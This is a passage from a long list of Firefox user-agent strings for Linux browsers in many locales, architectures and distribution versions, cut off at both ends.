rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux ppc64; en-US; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux ppc; da-DK; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7.12) Gecko/20051222 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux ppc; fr; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1.12) Gecko/20080203 